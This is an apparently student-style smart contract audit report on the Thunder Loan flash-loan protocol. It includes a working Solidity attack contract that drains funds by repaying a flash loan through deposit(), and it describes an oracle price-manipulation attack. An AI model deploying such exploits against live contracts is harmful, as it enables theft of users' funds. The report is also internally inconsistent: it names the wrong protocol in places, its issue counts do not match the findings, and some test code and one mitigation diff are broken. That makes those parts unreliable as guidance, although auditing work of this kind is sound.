



TSwapPool Initial Audit Report

Version 0.1

Thomas Heim

February 24, 2024

Thunder Loan Audit Report

Thomas Heim

February 24, 2024

Thunder Loan Audit Report

Lead Auditors: Thomas Heim

Table of contents

See table

- Thunder Loan Audit Report
- Table of contents
- About Thomas Heim
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
- Protocol Summary
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High

- * [H-1] Erroneous 'ThunderLoan::updateExchangeRate' in the 'deposit' function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.
- * [H-2] All the funds can be stolen if the flash loan is returned using deposit()
- * [H-3] Mixing up variable location causes storage collision i 'ThunderLoan::s_flashLoanFee' and 'ThunderLoan::s_currentlyFlashLoaning', freezing protocol
- Medium
 - * [M-1] Using TSwap as price oracle leads to price and oracle manipulation attack
 - * [M-2] Centralization risk for trusted owners
 - Impact:
 - Contralized owners can brick redemptions by disapproving of a specific token
- Low
 - * [L-1] Empty Function Body - Consider commenting why
 - * [L-2] Initializers could be front-run
 - * [L-3] Missing critial event emissions
- Informational
 - * [I-1] Poor Test Coverage
 - * [I-2] Not using `__gap[50]` for future storage collision mitigation
 - * [I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6
 - * [I-4] Doesn't follow <https://eips.ethereum.org/EIPS/eip-3156>
- Gas
 - * [GAS-1] Using bools for storage incurs overhead
 - * [GAS-2] Using **private** rather than **public** for constants, saves gas
 - * [GAS-3] Unnecessary SLOAD when logging new exchange rate

About Thomas Heim

Thomas Heim is a detail-oriented smart contract auditor with expertise in Solidity. He specializes in conducting thorough audits of smart contracts to ensure the security and reliability of your smart contracts. Thomas is committed to continually assessing and improving security through an ongoing consensus process. His approach is professional and thorough, making him a reliable choice for those in need of a trustworthy smart contract auditing service.

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
1 026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
1  |-- interfaces
2  |   |-- IFlashLoanReceiver.sol
3  |   |-- IPoolFactory.sol
4  |   |-- ISwapPool.sol
5  |   |-- IThunderLoan.sol
6  |-- protocol
7  |   |-- AssetToken.sol
8  |   |-- OracleUpgradeable.sol
9  |   |-- ThunderLoan.sol
10 |-- upgradedProtocol
11    |-- ThunderLoanUpgraded.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with varying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Info	1
Gas	2
Total	11

Findings

High

[H-1] Erroneous 'ThunderLoan::updateExchangeRate' in the 'deposit' function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

Description: In the ThunderLoan system, the 'exchangeRate' is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how

many fees to give to liquidity providers.

However, the 'deposit' function, updates this rate, without collecting any fees! This update should be removed.

```
1
2     function deposit(IERC20 token, uint256 amount) external
3         revertIfZero(amount) revertIfNotAllowedToken(token) {
4         AssetToken assetToken = s_tokenToAssetToken[token];
5         uint256 exchangeRate = assetToken.getExchangeRate();
6         uint256 mintAmount = (amount * assetToken.
7             EXCHANGE_RATE_PRECISION()) / exchangeRate;
8         emit Deposit(msg.sender, token, amount);
9         assetToken.mint(msg.sender, mintAmount);
10        uint256 calculatedFee = getCalculatedFee(token, amount);
11        assetToken.updateExchangeRate(calculatedFee);
12        token.safeTransferFrom(msg.sender, address(assetToken), amount)
13        ;
14    }
```

Impact: There are several impacts to this bug.

1. The 'redeem' function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits.
2. User takes out a flash loan.
3. It is now impossible for LP to redeem.

Proof of Code

Place the following into 'ThunderLoanTest.t.sol'

```
1     function testRedeemAfterLoan() public setAllowedToken
2         hasDeposits {
3         uint256 amountToBorrow = AMOUNT * 10;
4         uint256 calculatedFee = thunderLoan.getCalculatedFee(
5             tokenA, amountToBorrow);
6
7         vm.startPrank(user);
8         tokenA.mint(address(mockFlashLoanReceiver), calculatedFee)
9         ;
10        thunderLoan.flashloan(address(mockFlashLoanReceiver),
11            tokenA, amountToBorrow, "");
```

```
8         vm.stopPrank();
9
10        uint256 amountToRedeem = type(uint256).max;
11        vm.startPrank(liquidityProvider);
12        thunderLoan.redeem(tokenA, amountToRedeem);
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from 'deposit'

```
1        function deposit(IERC20 token, uint256 amount) external
2            revertIfZero(amount) revertIfNotAllowedToken(token) {
3            AssetToken assetToken = s_tokenToAssetToken[token];
4            uint256 exchangeRate = assetToken.getExchangeRate();
5            uint256 mintAmount = (amount * assetToken.
6                EXCHANGE_RATE_PRECISION()) / exchangeRate;
7            emit Deposit(msg.sender, token, amount);
8            assetToken.mint(msg.sender, mintAmount);
9            uint256 calculatedFee = getCalculatedFee(token, amount);
10           - assetToken.updateExchangeRate(calculatedFee);
11           - token.safeTransferFrom(msg.sender, address(assetToken), amount)
12           ;
13        }
```

[H-2] All the funds can be stolen if the flash loan is returned using deposit()

Description: The flashloan() performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing endingBalance with startingBalance + fee. However, a vulnerability emerges when calculating endingBalance using token.balanceOf(address(assetToken)).

Exploiting this vulnerability, an attacker can return the flash loan using the deposit() instead of repay(). This action allows the attacker to mint AssetToken and subsequently redeem it using redeem(). What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact: All the funds of the AssetContract can be stolen.

Proof of Concept: To execute the test successfully, please complete the following steps:

1. Place the **attack.sol** file within the mocks folder.
2. Import the contract in **ThunderLoanTest.t.sol**.
3. Add **testattack()** function in **ThunderLoanTest.t.sol**.
4. Change the **setUp()** function in **ThunderLoanTest.t.sol**.

```
1 import { Attack } from "../mocks/attack.sol";
```

```
1 function testattack() public setAllowedToken hasDeposits {
2     uint256 amountToBorrow = AMOUNT * 10;
3     vm.startPrank(user);
4     tokenA.mint(address(attack), AMOUNT);
5     thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
6         "");
7     attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
8         tokenA)));
9     thunderLoan.redeem(tokenA, type(uint256).max);
10    vm.stopPrank();
11
12    assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(
13        tokenA))), DEPOSIT_AMOUNT);
14 }
```

```
1 function setUp() public override {
2     super.setUp();
3     vm.prank(user);
4     mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
5         thunderLoan));
6     vm.prank(user);
7     attack = new Attack(address(thunderLoan));
8 }
```

attack.sol

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.20;
3
4 import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
5 ;
6 import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
7     SafeERC20.sol";
8 import { IFlashLoanReceiver } from "../src/interfaces/
9     IFlashLoanReceiver.sol";
10
11 interface IThunderLoan {
12     function repay(address token, uint256 amount) external;
13     function deposit(IERC20 token, uint256 amount) external;
14     function getAssetFromToken(IERC20 token) external;
15 }
16
17 contract Attack {
18     error MockFlashLoanReceiver__onlyOwner();
19     error MockFlashLoanReceiver__onlyThunderLoan();
20
21     using SafeERC20 for IERC20;
22
23     address s_owner;
```



```
22     address s_thunderLoan;
23
24     uint256 s_balanceDuringFlashLoan;
25     uint256 s_balanceAfterFlashLoan;
26
27     constructor(address thunderLoan) {
28         s_owner = msg.sender;
29         s_thunderLoan = thunderLoan;
30         s_balanceDuringFlashLoan = 0;
31     }
32
33     function executeOperation(
34         address token,
35         uint256 amount,
36         uint256 fee,
37         address initiator,
38         bytes calldata /* params */
39     )
40     external
41     returns (bool)
42     {
43         s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this
44             ));
45         if (initiator != s_owner) {
46             revert MockFlashLoanReceiver__onlyOwner();
47         }
48         if (msg.sender != s_thunderLoan) {
49             revert MockFlashLoanReceiver__onlyThunderLoan();
50         }
51         IERC20(token).approve(s_thunderLoan, amount + fee);
52         IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee
53             );
54         s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this
55             ));
56         return true;
57     }
58
59     function getbalanceDuring() external view returns (uint256) {
60         return s_balanceDuringFlashLoan;
61     }
62
63     function getBalanceAfter() external view returns (uint256) {
64         return s_balanceAfterFlashLoan;
65     }
66
67     function sendAssetToken(address assetToken) public {
68         IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).
69             balanceOf(address(this)));
```

```
69     }
70 }
```

Notice that the `assetLt()` checks whether the balance of the AssetToken contract is less than the `DEPOSIT_AMOUNT`, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registering the `block.number` in a variable in `flashloan()` and checking it in `deposit()`.

[H-3] Mixing up variable location causes storage collision i ‘ThunderLoan::s_flashLoanFee’ and ‘ThunderLoan::s_currentlyFlashLoaning’, freezing protocol

Description: ‘ThunderLoan.sol’ has two variables in the following order:

```
1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee;
```

However, the upgraded contract ‘ThunderLoanUpgraded.sol’ has them in a different order:

```
1     uint256 private s_flashLoanFee;
2     uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the ‘s_flashLoanFee’ will have the value of ‘s_feePrecision’. You can adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage location as well.

Impact: After the upgrade, the ‘s_flashLoanFee’ will have the value of ‘s_feePrecision’. This means that users who take out flash loan right after an upgrade will be charged the wrong fee.

More importantly, the ‘s_currentlyFlashLoaning’ mapping will start in the wrong storage slot.

Proof of Concept:

PoC

Place the following into ‘ThunderLoanTest.t.sol’

```
1 import { ThunderLoanUpgraded } from "../src/upgradedProtocol/
   ThunderLoanUpgraded.sol";
2
3
4
5
6 function testUpgradeBreaks() public {
7     uint256 feeBeforeUpgrade = thunderLoan.getFee();
```

```
8         vm.startPrank(thunderLoan.owner());
9         ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
10        thunderLoan.upgradedToCall(address(upgraded), "");
11        uint256 feeAfterUpgrade = thunderLoan.getFee();
12        vm.stopPrank();
13
14        console2.log("Fee before: ", feeBeforeUpgrade );
15        console2.log("Fee before: ", feeAfterUpgrade );
16        asset(feeBeforeUpgrade != feeAfterUpgrade)
17
18    }
```

You can also see the storage layout difference by running ‘forge inspect ThunderLoan storage’ and ‘forge inspect ThunderLoanUpgraded storage’.

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
1 -   uint256 private s_flashLoanFee;
2 -   uint256 public constant FEE_PRECISION = 1e18;
3 +   uint256 private s_blank;
4 +   uint256 private s_flashLoanFee;
5 +   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attack

Description: The TSwap protocol is a constant product formula based on AMM(automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious user to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from ‘ThunderLoan’ for 1000 ‘tokenA’. They are charged the original fee ‘fee1’. During the flash loan, they do the following;
 1. User sells 1000 ‘fee1’, tanking the price.
 2. Instead of repaying right away, the user takes out another flash loan for another 1000 ‘tokenA’.
 4. Due to the fact that the way ‘ThunderLoan’ calculates price based on the ‘TSwap-Pool’ this second flash loan is substantially cheaper.

```
1     function getPriceInWeth(address token) public view returns (uint256
2         ) {
3         address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
4             token);
5         return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
6             ();
7     }
```

2. The user then repays the first flash loan, and then repays the second flash loan.

Recommended Mitigation: Consider using a different price mechanism, like a Chanlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
1 File: src/protocol/ThunderLoan.sol
2
3 223:     function setAllowedToken(IERC20 token, bool allowed) external
4         onlyOwner returns (AssetToken) {
5
6 261:     function _authorizeUpgrade(address newImplementation) internal
7         override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 261:     function _authorizeUpgrade(address newImplementation) internal
4         override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11:     function __Oracle_init(address poolFactoryAddress) internal
      onlyInitializing {
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 138:     function initialize(address tswapAddress) external initializer
      {
4
5 138:     function initialize(address tswapAddress) external initializer
      {
6
7 139:         __Ownable_init();
8
9 140:         __UUPSUpgradeable_init();
10
11 141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critical event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
1 +     event FlashLoanFeeUpdated(uint256 newFee);
2 .
3 .
4 .
5     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6         if (newFee > s_feePrecision) {
7             revert ThunderLoan__BadNewFee();
8         }
9         s_flashLoanFee = newFee;
10 +     emit FlashLoanFeeUpdated(newFee);
11 }
```

Informational

[I-1] Poor Test Coverage

1	Running tests...			
2	File		% Lines	% Statements
3	% Branches	% Funcs		
4	-----	-----	-----	-----
5	-----	-----		
6	src/protocol/AssetToken.sol		70.00% (7/10)	76.92% (10/13)
7	50.00% (1/2) 66.67% (4/6)			
8	src/protocol/OracleUpgradeable.sol		100.00% (6/6)	100.00% (9/9)
9	100.00% (0/0) 80.00% (4/5)			
10	src/protocol/ThunderLoan.sol		64.52% (40/62)	68.35% (54/79)
11	37.50% (6/16) 71.43% (10/14)			

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow <https://eips.ethereum.org/EIPS/eip-3156>

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a `Gwarmaccess` (100 gas), and to avoid `Gsset` (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```

1 File: src/protocol/ThunderLoan.sol
2
3 98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
      s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants.

Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
1 File: src/protocol/AssetToken.sol
2
3 25:      uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 95:      uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4
5 96:      uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
1 s_exchangeRate = newExchangeRate;
2 - emit ExchangeRateUpdated(s_exchangeRate);
3 + emit ExchangeRateUpdated(newExchangeRate);
```